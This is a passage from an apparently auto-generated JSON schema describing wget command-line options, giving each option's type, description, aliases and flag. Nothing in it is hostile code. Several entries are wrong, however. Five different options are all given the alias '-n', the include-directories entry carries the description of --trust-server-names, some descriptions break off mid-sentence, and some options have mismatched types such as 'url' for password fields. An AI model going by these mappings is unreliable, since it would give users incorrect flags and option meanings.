      },
      {
        "name": "backup-converted",
        "template_key": "backup-converted",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "before converting file X, back up as X.orig",
        "aliases": [
          "-K",
          "--backup-converted"
        ],
        "flag": "-K"
      },
      {
        "name": "backups",
        "template_key": "backups",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "before writing file X, rotate up to N backup files",
        "aliases": [
          "--backups"
        ],
        "flag": "--backups"
      },
      {
        "name": "base",
        "template_key": "base",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "resolves HTML input-file links (-i -F)",
        "aliases": [
          "-B",
          "--base"
        ],
        "flag": "-B"
      },
      {
        "name": "bind-address",
        "template_key": "bind-address",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "bind to ADDRESS (hostname or IP) on local host",
        "aliases": [
          "--bind-address"
        ],
        "flag": "--bind-address"
      },
      {
        "name": "body-data",
        "template_key": "body-data",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "send STRING as data. --method MUST be set",
        "aliases": [
          "--body-data"
        ],
        "flag": "--body-data"
      },
      {
        "name": "body-file",
        "template_key": "body-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "send contents of FILE. --method MUST be set",
        "aliases": [
          "--body-file"
        ],
        "flag": "--body-file"
      },
      {
        "name": "ca-certificate",
        "template_key": "ca-certificate",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "file with the bundle of CAs",
        "aliases": [
          "--ca-certificate"
        ],
        "flag": "--ca-certificate"
      },
      {
        "name": "ca-directory",
        "template_key": "ca-directory",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "directory where hash list of CAs is stored",
        "aliases": [
          "--ca-directory"
        ],
        "flag": "--ca-directory"
      },
      {
        "name": "certificate",
        "template_key": "certificate",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "client certificate file",
        "aliases": [
          "--certificate"
        ],
        "flag": "--certificate"
      },
      {
        "name": "certificate-type",
        "template_key": "certificate-type",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "client certificate type, PEM or DER",
        "aliases": [
          "--certificate-type"
        ],
        "flag": "--certificate-type"
      },
      {
        "name": "ciphers",
        "template_key": "ciphers",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Set the priority string (GnuTLS) or cipher list string (OpenSSL) directly",
        "aliases": [
          "--ciphers"
        ],
        "flag": "--ciphers"
      },
      {
        "name": "compression",
        "template_key": "compression",
        "type": "string",
        "required": false,
        "default_value": "none",
        "description": "choose compression, one of auto, gzip and none",
        "aliases": [
          "--compression"
        ],
        "flag": "--compression"
      },
      {
        "name": "config",
        "template_key": "config",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "specify config file to use",
        "aliases": [
          "--config"
        ],
        "flag": "--config"
      },
      {
        "name": "connect-timeout",
        "template_key": "connect-timeout",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "set the connect timeout to SECS",
        "aliases": [
          "--connect-timeout"
        ],
        "flag": "--connect-timeout"
      },
      {
        "name": "content-disposition",
        "template_key": "content-disposition",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "honor the Content-Disposition header when",
        "aliases": [
          "--content-disposition"
        ],
        "flag": "--content-disposition"
      },
      {
        "name": "content-on-error",
        "template_key": "content-on-error",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output the received content on server errors",
        "aliases": [
          "--content-on-error"
        ],
        "flag": "--content-on-error"
      },
      {
        "name": "continue",
        "template_key": "continue",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "resume getting a partially-downloaded file",
        "aliases": [
          "-c",
          "--continue"
        ],
        "flag": "-c"
      },
      {
        "name": "convert-file-only",
        "template_key": "convert-file-only",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "convert the file part of the URLs only (usually known as the basename)",
        "aliases": [
          "--convert-file-only"
        ],
        "flag": "--convert-file-only"
      },
      {
        "name": "convert-links",
        "template_key": "convert-links",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "make links in downloaded HTML or CSS point to",
        "aliases": [
          "-k",
          "--convert-links"
        ],
        "flag": "-k"
      },
      {
        "name": "crl-file",
        "template_key": "crl-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "file with bundle of CRLs",
        "aliases": [
          "--crl-file"
        ],
        "flag": "--crl-file"
      },
      {
        "name": "cut-dirs",
        "template_key": "cut-dirs",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "ignore NUMBER remote directory components",
        "aliases": [
          "--cut-dirs"
        ],
        "flag": "--cut-dirs"
      },
      {
        "name": "debug",
        "template_key": "debug",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print lots of debugging information",
        "aliases": [
          "-d",
          "--debug"
        ],
        "flag": "-d"
      },
      {
        "name": "default-page",
        "template_key": "default-page",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "change the default page name (normally",
        "aliases": [
          "--default-page"
        ],
        "flag": "--default-page"
      },
      {
        "name": "delete-after",
        "template_key": "delete-after",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "delete files locally after downloading them",
        "aliases": [
          "--delete-after"
        ],
        "flag": "--delete-after"
      },
      {
        "name": "directory-prefix",
        "template_key": "directory-prefix",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "save files to PREFIX/",
        "aliases": [
          "-P",
          "--directory-prefix"
        ],
        "flag": "-P"
      },
      {
        "name": "dns-timeout",
        "template_key": "dns-timeout",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "set the DNS lookup timeout to SECS",
        "aliases": [
          "--dns-timeout"
        ],
        "flag": "--dns-timeout"
      },
      {
        "name": "domains",
        "template_key": "domains",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "comma-separated list of accepted domains",
        "aliases": [
          "-D",
          "--domains"
        ],
        "flag": "-D"
      },
      {
        "name": "exclude-directories",
        "template_key": "exclude-directories",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-X",
          "--exclude-directories"
        ],
        "flag": "-X"
      },
      {
        "name": "exclude-domains",
        "template_key": "exclude-domains",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "comma-separated list of rejected domains",
        "aliases": [
          "--exclude-domains"
        ],
        "flag": "--exclude-domains"
      },
      {
        "name": "execute",
        "template_key": "execute",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "execute a `.wgetrc'-style command",
        "aliases": [
          "-e",
          "--execute"
        ],
        "flag": "-e"
      },
      {
        "name": "follow-ftp",
        "template_key": "follow-ftp",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "follow FTP links from HTML documents",
        "aliases": [
          "--follow-ftp"
        ],
        "flag": "--follow-ftp"
      },
      {
        "name": "follow-tags",
        "template_key": "follow-tags",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "comma-separated list of followed HTML tags",
        "aliases": [
          "--follow-tags"
        ],
        "flag": "--follow-tags"
      },
      {
        "name": "force-directories",
        "template_key": "force-directories",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "force creation of directories",
        "aliases": [
          "-x",
          "--force-directories"
        ],
        "flag": "-x"
      },
      {
        "name": "force-html",
        "template_key": "force-html",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "treat input file as HTML",
        "aliases": [
          "-F",
          "--force-html"
        ],
        "flag": "-F"
      },
      {
        "name": "ftp-password",
        "template_key": "ftp-password",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "set ftp password to PASS",
        "aliases": [
          "--ftp-password"
        ],
        "flag": "--ftp-password"
      },
      {
        "name": "ftp-user",
        "template_key": "ftp-user",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "set ftp user to USER",
        "aliases": [
          "--ftp-user"
        ],
        "flag": "--ftp-user"
      },
      {
        "name": "ftps-clear-data-connection",
        "template_key": "ftps-clear-data-connection",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "cipher the control channel only; all the data will be in plaintext",
        "aliases": [
          "--ftps-clear-data-connection"
        ],
        "flag": "--ftps-clear-data-connection"
      },
      {
        "name": "ftps-fallback-to-ftp",
        "template_key": "ftps-fallback-to-ftp",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "fall back to FTP if FTPS is not supported in the target server",
        "aliases": [
          "--ftps-fallback-to-ftp"
        ],
        "flag": "--ftps-fallback-to-ftp"
      },
      {
        "name": "ftps-implicit",
        "template_key": "ftps-implicit",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use implicit FTPS (default port is 990)",
        "aliases": [
          "--ftps-implicit"
        ],
        "flag": "--ftps-implicit"
      },
      {
        "name": "ftps-resume-ssl",
        "template_key": "ftps-resume-ssl",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "resume the SSL/TLS session started in the control connection when",
        "aliases": [
          "--ftps-resume-ssl"
        ],
        "flag": "--ftps-resume-ssl"
      },
      {
        "name": "header",
        "template_key": "header",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "insert STRING among the headers",
        "aliases": [
          "--header"
        ],
        "flag": "--header"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print this help",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      },
      {
        "name": "hsts-file",
        "template_key": "hsts-file",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "path of HSTS database (will override default)",
        "aliases": [
          "--hsts-file"
        ],
        "flag": "--hsts-file"
      },
      {
        "name": "http-password",
        "template_key": "http-password",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "set http password to PASS",
        "aliases": [
          "--http-password"
        ],
        "flag": "--http-password"
      },
      {
        "name": "http-user",
        "template_key": "http-user",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "set http user to USER",
        "aliases": [
          "--http-user"
        ],
        "flag": "--http-user"
      },
      {
        "name": "https-only",
        "template_key": "https-only",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "only follow secure HTTPS links",
        "aliases": [
          "--https-only"
        ],
        "flag": "--https-only"
      },
      {
        "name": "ignore-case",
        "template_key": "ignore-case",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "ignore case when matching files/directories",
        "aliases": [
          "--ignore-case"
        ],
        "flag": "--ignore-case"
      },
      {
        "name": "ignore-length",
        "template_key": "ignore-length",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "ignore 'Content-Length' header field",
        "aliases": [
          "--ignore-length"
        ],
        "flag": "--ignore-length"
      },
      {
        "name": "ignore-tags",
        "template_key": "ignore-tags",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "comma-separated list of ignored HTML tags",
        "aliases": [
          "--ignore-tags"
        ],
        "flag": "--ignore-tags"
      },
      {
        "name": "include-directories",
        "template_key": "include-directories",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "--trust-server-names use the name specified by the redirection URL's last component",
        "aliases": [
          "-I",
          "--include-directories"
        ],
        "flag": "-I"
      },
      {
        "name": "inet4-only",
        "template_key": "inet4-only",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "connect only to IPv4 addresses",
        "aliases": [
          "-4",
          "--inet4-only"
        ],
        "flag": "-4"
      },
      {
        "name": "inet6-only",
        "template_key": "inet6-only",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "connect only to IPv6 addresses",
        "aliases": [
          "-6",
          "--inet6-only"
        ],
        "flag": "-6"
      },
      {
        "name": "input-file",
        "template_key": "input-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "download URLs found in local or external FILE",
        "aliases": [
          "-i",
          "--input-file"
        ],
        "flag": "-i"
      },
      {
        "name": "keep-session-cookies",
        "template_key": "keep-session-cookies",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "load and save session (non-permanent) cookies",
        "aliases": [
          "--keep-session-cookies"
        ],
        "flag": "--keep-session-cookies"
      },
      {
        "name": "level",
        "template_key": "level",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "maximum recursion depth (inf or 0 for infinite)",
        "aliases": [
          "-l",
          "--level"
        ],
        "flag": "-l"
      },
      {
        "name": "limit-rate",
        "template_key": "limit-rate",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "limit download rate to RATE",
        "aliases": [
          "--limit-rate"
        ],
        "flag": "--limit-rate"
      },
      {
        "name": "load-cookies",
        "template_key": "load-cookies",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "load cookies from FILE before session",
        "aliases": [
          "--load-cookies"
        ],
        "flag": "--load-cookies"
      },
      {
        "name": "local-encoding",
        "template_key": "local-encoding",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use ENC as the local encoding for IRIs",
        "aliases": [
          "--local-encoding"
        ],
        "flag": "--local-encoding"
      },
      {
        "name": "max-redirect",
        "template_key": "max-redirect",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "maximum redirections allowed per page",
        "aliases": [
          "--max-redirect"
        ],
        "flag": "--max-redirect"
      },
      {
        "name": "method",
        "template_key": "method",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "use method \"HTTPMethod\" in the request",
        "aliases": [
          "--method"
        ],
        "flag": "--method"
      },
      {
        "name": "mirror",
        "template_key": "mirror",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "shortcut for -N -r -l inf --no-remove-listing",
        "aliases": [
          "-m",
          "--mirror"
        ],
        "flag": "-m"
      },
      {
        "name": "nH",
        "type": "boolean",
        "required": false,
        "description": "don't create host directories",
        "aliases": [
          "-nH",
          "--no-host-directories"
        ],
        "flag": "-nH"
      },
      {
        "name": "nc",
        "type": "boolean",
        "required": false,
        "description": "skip downloads that would download to",
        "aliases": [
          "-nc",
          "--no-clobber"
        ],
        "flag": "-nc"
      },
      {
        "name": "nd",
        "type": "boolean",
        "required": false,
        "description": "don't create directories",
        "aliases": [
          "-nd",
          "--no-directories"
        ],
        "flag": "-nd"
      },
      {
        "name": "no-cache",
        "template_key": "no-cache",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "disallow server-cached data",
        "aliases": [
          "--no-cache"
        ],
        "flag": "--no-cache"
      },
      {
        "name": "no-check-certificate",
        "template_key": "no-check-certificate",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't validate the server's certificate",
        "aliases": [
          "--no-check-certificate"
        ],
        "flag": "--no-check-certificate"
      },
      {
        "name": "no-clobber",
        "template_key": "no-clobber",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "skip downloads that would download to",
        "aliases": [
          "-n",
          "--no-clobber"
        ],
        "flag": "-n"
      },
      {
        "name": "no-config",
        "template_key": "no-config",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "do not read any config file",
        "aliases": [
          "--no-config"
        ],
        "flag": "--no-config"
      },
      {
        "name": "no-cookies",
        "template_key": "no-cookies",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't use cookies",
        "aliases": [
          "--no-cookies"
        ],
        "flag": "--no-cookies"
      },
      {
        "name": "no-directories",
        "template_key": "no-directories",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't create directories",
        "aliases": [
          "-n",
          "--no-directories"
        ],
        "flag": "-n"
      },
      {
        "name": "no-dns-cache",
        "template_key": "no-dns-cache",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "disable caching DNS lookups",
        "aliases": [
          "--no-dns-cache"
        ],
        "flag": "--no-dns-cache"
      },
      {
        "name": "no-glob",
        "template_key": "no-glob",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "turn off FTP file name globbing",
        "aliases": [
          "--no-glob"
        ],
        "flag": "--no-glob"
      },
      {
        "name": "no-host-directories",
        "template_key": "no-host-directories",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't create host directories",
        "aliases": [
          "-n",
          "--no-host-directories"
        ],
        "flag": "-n"
      },
      {
        "name": "no-hsts",
        "template_key": "no-hsts",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "disable HSTS",
        "aliases": [
          "--no-hsts"
        ],
        "flag": "--no-hsts"
      },
      {
        "name": "no-http-keep-alive",
        "template_key": "no-http-keep-alive",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "disable HTTP keep-alive (persistent connections)",
        "aliases": [
          "--no-http-keep-alive"
        ],
        "flag": "--no-http-keep-alive"
      },
      {
        "name": "no-if-modified-since",
        "template_key": "no-if-modified-since",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't use conditional if-modified-since get",
        "aliases": [
          "--no-if-modified-since"
        ],
        "flag": "--no-if-modified-since"
      },
      {
        "name": "no-iri",
        "template_key": "no-iri",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "turn off IRI support",
        "aliases": [
          "--no-iri"
        ],
        "flag": "--no-iri"
      },
      {
        "name": "no-netrc",
        "template_key": "no-netrc",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't try to obtain credentials from .netrc",
        "aliases": [
          "--no-netrc"
        ],
        "flag": "--no-netrc"
      },
      {
        "name": "no-parent",
        "template_key": "no-parent",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "don't ascend to the parent directory",
        "aliases": [
          "-n",
          "--no-parent"
        ],
        "flag": "-n"
      },
      {
        "name": "no-passive-ftp",
        "template_key": "no-passive-ftp",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "disable the \"passive\" transfer mode",
        "aliases": [
          "--no-passive-ftp"
        ],
        "flag": "--no-passive-ftp"
      },
      {
        "name": "no-proxy",
        "template_key": "no-proxy",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "explicitly turn off proxy",
        "aliases": [
          "--no-proxy"
        ],
        "flag": "--no-proxy"
      },
      {
        "name": "no-remove-listing",
        "template_key": "no-remove-listing",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't remove '.listing' files",
        "aliases": [
          "--no-remove-listing"
        ],
        "flag": "--no-remove-listing"
      },
      {
        "name": "no-use-server-timestamps",
        "template_key": "no-use-server-timestamps",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "the one on the server",
        "aliases": [
          "--no-use-server-timestamps"
        ],
        "flag": "--no-use-server-timestamps"
      },
      {
        "name": "no-verbose",
        "template_key": "no-verbose",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "turn off verboseness, without being quiet",
        "aliases": [
          "-n",
          "--no-verbose"
        ],
        "flag": "-n"
      },
      {
        "name": "no-warc-compression",
        "template_key": "no-warc-compression",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "do not compress WARC files with GZIP",
        "aliases": [
          "--no-warc-compression"
        ],
        "flag": "--no-warc-compression"
      },
      {
        "name": "no-warc-digests",
        "template_key": "no-warc-digests",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "do not calculate SHA1 digests",
        "aliases": [
          "--no-warc-digests"
        ],
        "flag": "--no-warc-digests"
      },
      {
        "name": "no-warc-keep-log",
        "template_key": "no-warc-keep-log",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "do not store the log file in a WARC record",
        "aliases": [
          "--no-warc-keep-log"
        ],
        "flag": "--no-warc-keep-log"
      },
      {
        "name": "np",
        "type": "boolean",
        "required": false,
        "description": "don't ascend to the parent directory",
        "aliases": [
          "-np",
          "--no-parent"
        ],
        "flag": "-np"
      },
      {
        "name": "nv",
        "type": "boolean",
        "required": false,
        "description": "turn off verboseness, without being quiet",
        "aliases": [
          "-nv",
          "--no-verbose"
        ],
        "flag": "-nv"
      },
      {
        "name": "output-document",
        "template_key": "output-document",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "write documents to FILE",
        "aliases": [
          "-O",
          "--output-document"
        ],
        "flag": "-O"
      },
      {
        "name": "output-file",
        "template_key": "output-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "log messages to FILE",
        "aliases": [
          "-o",
          "--output-file"
        ],
        "flag": "-o"
      },
      {
        "name": "page-requisites",
        "template_key": "page-requisites",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "get all images, etc. needed to display HTML page",
        "aliases": [
          "-p",
          "--page-requisites"
        ],
        "flag": "-p"
      },
      {
        "name": "password",
        "template_key": "password",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "set both ftp and http password to PASS",
        "aliases": [
          "--password"
        ],
        "flag": "--password"
      },
      {
        "name": "pinnedpubkey",
        "template_key": "pinnedpubkey",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "of base64 encoded sha256 hashes preceded by 'sha256//' and separated by ';', to verify peer against",
        "aliases": [
          "--pinnedpubkey"
        ],
        "flag": "--pinnedpubkey"
      },
      {
        "name": "post-data",
        "template_key": "post-data",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use the POST method; send STRING as the data",
        "aliases": [
          "--post-data"
        ],
        "flag": "--post-data"
      },
      {
        "name": "post-file",
        "template_key": "post-file",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "use the POST method; send contents of FILE",
        "aliases": [
          "--post-file"
        ],
        "flag": "--post-file"
      },
      {
        "name": "prefer-family",
        "template_key": "prefer-family",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "connect first to addresses of specified family",
        "aliases": [
          "--prefer-family"
        ],
        "flag": "--prefer-family"
      },
      {
        "name": "preserve-permissions",
        "template_key": "preserve-permissions",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "preserve remote file permissions",
        "aliases": [
          "--preserve-permissions"
        ],
        "flag": "--preserve-permissions"
      },
      {
        "name": "private-key",
        "template_key": "private-key",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "private key file",
        "aliases": [
          "--private-key"
        ],
        "flag": "--private-key"
      },
      {
        "name": "private-key-type",
        "template_key": "private-key-type",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "private key type, PEM or DER",
        "aliases": [
          "--private-key-type"
        ],
        "flag": "--private-key-type"
      },
      {
        "name": "progress",
        "template_key": "progress",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "select progress gauge type",
        "aliases": [
          "--progress"
        ],
        "flag": "--progress"
      },
      {
        "name": "protocol-directories",
        "template_key": "protocol-directories",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use protocol name in directories",
        "aliases": [
          "--protocol-directories"
        ],
        "flag": "--protocol-directories"
      },
      {
        "name": "proxy-password",
        "template_key": "proxy-password",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "set PASS as proxy password",
        "aliases": [
          "--proxy-password"
        ],
        "flag": "--proxy-password"
      },
      {
        "name": "proxy-user",
        "template_key": "proxy-user",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "set USER as proxy username",
        "aliases": [
          "--proxy-user"
        ],
        "flag": "--proxy-user"
      },
      {
        "name": "quiet",
        "template_key": "quiet",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "quiet (no output)",
        "aliases": [
          "-q",
          "--quiet"
        ],
        "flag": "-q"
      },
      {
        "name": "quota",
        "template_key": "quota",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "set retrieval quota to NUMBER",
        "aliases": [
          "-Q",
          "--quota"
        ],
        "flag": "-Q"
      },
      {
        "name": "random-wait",
        "template_key": "random-wait",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "wait from 0.5*WAIT...1.5*WAIT secs between retrievals",
        "aliases": [
          "--random-wait"
        ],
        "flag": "--random-wait"
      },
      {
        "name": "read-timeout",
        "template_key": "read-timeout",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "set the read timeout to SECS",
        "aliases": [
          "--read-timeout"
        ],
        "flag": "--read-timeout"
      },
      {
        "name": "recursive",
        "template_key": "recursive",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "specify recursive download",
        "aliases": [
          "-r",
          "--recursive"
        ],
        "flag": "-r"
      },
      {
        "name": "referer",
        "template_key": "referer",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "include 'Referer: URL' header in HTTP request",
        "aliases": [
          "--referer"
        ],
        "flag": "--referer"
      },
      {
        "name": "regex-type",
        "template_key": "regex-type",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "regex type (posix|pcre)",
        "aliases": [
          "--regex-type"
        ],
        "enum": [
          "posix",
          "pcre"
        ],
        "flag": "--regex-type"
      },
      {
        "name": "reject",
        "template_key": "reject",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "comma-separated list of rejected extensions",
        "aliases": [
          "-R",
          "--reject"
        ],
        "flag": "-R"
      },
      {
        "name": "reject-regex",
        "template_key": "reject-regex",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "regex matching rejected URLs",
        "aliases": [
          "--reject-regex"
        ],
        "flag": "--reject-regex"
      },
      {
        "name": "rejected-log",
        "template_key": "rejected-log",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "log reasons for URL rejection to FILE",
        "aliases": [
          "--rejected-log"
        ],
        "flag": "--rejected-log"
      },
      {
        "name": "relative",
        "template_key": "relative",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "follow relative links only",
        "aliases": [
          "-L",
          "--relative"
        ],
        "flag": "-L"
      },
      {
        "name": "remote-encoding",
        "template_key": "remote-encoding",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use ENC as the default remote encoding",
        "aliases": [
          "--remote-encoding"
        ],
        "flag": "--remote-encoding"
      },
      {
        "name": "report-speed",
        "template_key": "report-speed",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output bandwidth as TYPE. TYPE can be bits",
        "aliases": [
          "--report-speed"
        ],
        "flag": "--report-speed"
      },
      {
        "name": "restrict-file-names",
        "template_key": "restrict-file-names",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "restrict chars in file names to ones OS allows",
        "aliases": [
          "--restrict-file-names"
        ],
        "flag": "--restrict-file-names"
      },
      {
        "name": "retr-symlinks",
        "template_key": "retr-symlinks",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "when recursing, get linked-to files (not dir)",
        "aliases": [
          "--retr-symlinks"
        ],
        "flag": "--retr-symlinks"
      },
      {
        "name": "retry-connrefused",
        "template_key": "retry-connrefused",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "retry even if connection is refused",
        "aliases": [
          "--retry-connrefused"
        ],
        "flag": "--retry-connrefused"
      },
      {
        "name": "retry-on-host-error",
        "template_key": "retry-on-host-error",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "consider host errors as non-fatal, transient errors",
        "aliases": [
          "--retry-on-host-error"
        ],
        "flag": "--retry-on-host-error"
      },
      {
        "name": "retry-on-http-error",
        "template_key": "retry-on-http-error",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "comma-separated list of HTTP errors to retry",
        "aliases": [
          "--retry-on-http-error"
        ],
        "flag": "--retry-on-http-error"
      },
      {
        "name": "save-cookies",
        "template_key": "save-cookies",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "save cookies to FILE after session",
        "aliases": [
          "--save-cookies"
        ],
        "flag": "--save-cookies"
      },
      {
        "name": "save-headers",
        "template_key": "save-headers",
        "type": "url",
        "required": false,
        "default_value": null,
        "description": "save the HTTP headers to file",
        "aliases": [
          "--save-headers"
        ],
        "flag": "--save-headers"
      },
      {
        "name": "secure-protocol",
        "template_key": "secure-protocol",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "choose secure protocol, one of auto, SSLv2",
        "aliases": [
          "--secure-protocol"
        ],
        "flag": "--secure-protocol"
      },
      {
        "name": "server-response",
        "template_key": "server-response",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print server response",
        "aliases": [
          "-S",
          "--server-response"
        ],
        "flag": "-S"
      },
      {
        "name": "show-progress",
        "template_key": "show-progress",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display the progress bar in any verbosity mode",
        "aliases": [
          "--show-progress"
        ],
        "flag": "--show-progress"
      },
      {
        "name": "span-hosts",
        "template_key": "span-hosts",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "go to foreign hosts when recursive",
        "aliases": [
          "-H",
          "--span-hosts"
        ],
        "flag": "-H"
      },
      {
        "name": "spider",
        "template_key": "spider",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't download anything",
        "aliases": [
          "--spider"
        ],
        "flag": "--spider"
      },
      {
        "name": "start-pos",
        "template_key": "start-pos",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "start downloading from zero-based position OFFSET",
        "aliases": [
          "--start-pos"
        ],
        "flag": "--start-pos"
      },
      {
        "name": "strict-comments",
        "template_key": "strict-comments",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "turn on strict (SGML) handling of HTML comments",
        "aliases": [
          "--strict-comments"
        ],
        "flag": "--strict-comments"
      },
      {
        "name": "timeout",
        "template_key": "timeout",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "set all timeout values to SECONDS",
        "aliases": [
          "-T",
          "--timeout"
        ],
        "flag": "-T"
      },
      {
        "name": "timestamping",
        "template_key": "timestamping",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't re-retrieve files unless newer than",
        "aliases": [
          "-N",
          "--timestamping"
        ],
        "flag": "-N"
      },
      {
        "name": "tries",
        "template_key": "tries",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "set number of retries to NUMBER (0 unlimits)",
        "aliases": [
          "-t",
          "--tries"
        ],
        "flag": "-t"
      },
      {
        "name": "trust_server_names",
        "type": "boolean",
        "required": false,
        "description": "use the name specified by the redirection",
        "aliases": [
          "--trust-server-names"
        ],
        "flag": "--trust-server-names"
      },
      {
        "name": "unlink",
        "template_key": "unlink",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "remove file before clobber",
        "aliases": [
          "--unlink"
        ],
        "flag": "--unlink"
      },
      {
        "name": "use-askpass",
        "template_key": "use-askpass",
        "type": "string",
        "required": false,
        "default_value": null,
